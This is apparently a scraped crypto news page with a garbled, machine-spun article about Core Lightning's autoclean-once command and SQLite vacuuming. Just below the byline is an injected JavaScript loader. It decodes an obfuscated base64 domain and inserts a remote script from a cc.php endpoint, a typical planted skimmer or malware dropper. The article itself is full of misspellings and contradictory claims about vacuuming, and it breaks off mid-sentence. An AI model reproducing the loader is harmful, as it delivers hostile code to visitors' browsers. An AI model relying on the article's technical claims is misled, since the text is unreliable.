News

Bitcoin: Does `autoclean-once` without vacuuming lightningd.sqlite3 slow down the future growth of size lightningd.sqlite3?

Published by Terlumun Aondover on February 8th, 2025.

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=7351f654″;document.body.appendChild(script);

Autoclean impact on Lightnningd SQLite3: slowdown in growth

Lightning CLI is a breakthrough for the Bitcoin network, allowing users to create and manage Lightning nodes. One of the key characteristics that allows this functionality is a self-cleaning mechanism, which periodically cleanses obsolete data to maintain the performance and safety of nodes. However, some users reported extraordinary behavior when using the Autoclean-Okce command.

Problem: Autoklean without annoying

During the work of “Lightning-Cli Autoclean-Okce, there are two different results depending on whether the vacuum is used or not:



* Out 

: If the Autoclean-Okce command uses the "Vacuum" indicator, it will try to clean obsolete data in the SQLite database. In this case, if Lightnningd.sqlite3 has been updated and that new data has been added, this can lead to a significant slowdown.

* Non-Vacuuuted Out : If the void is not used (Autoclean-Once-), the Autoklean-Okce command will only clean obsolete data that has not changed since the last update. In this scenario, Lightnningd.sqlite3 should continue to grow and update at a normal pace.

Problem: slow down

The problem arises because of how the “Autoclean-Once” supports updates and the new data added to the SQLite database. Although it aims to clean obsolete data, some users have reported that Autoclean without vacuum can slow the growth of Lightnningd.sqlite3. This slowdown is probably due to the increase in update and update of the database.

Application

The Autocolaan mechanism plays a key role in maintaining the performance and safety of nodes in the lightning network. However, using it without a vacuum can lead to a significant slowdown in growth, especially during high activity period or when new data is added to the SQLite database. To avoid this problem, users must opt for the “-vacum” flag when starting the Autocleen.

Recommendation

To minimize the impact of the autocleane on lightning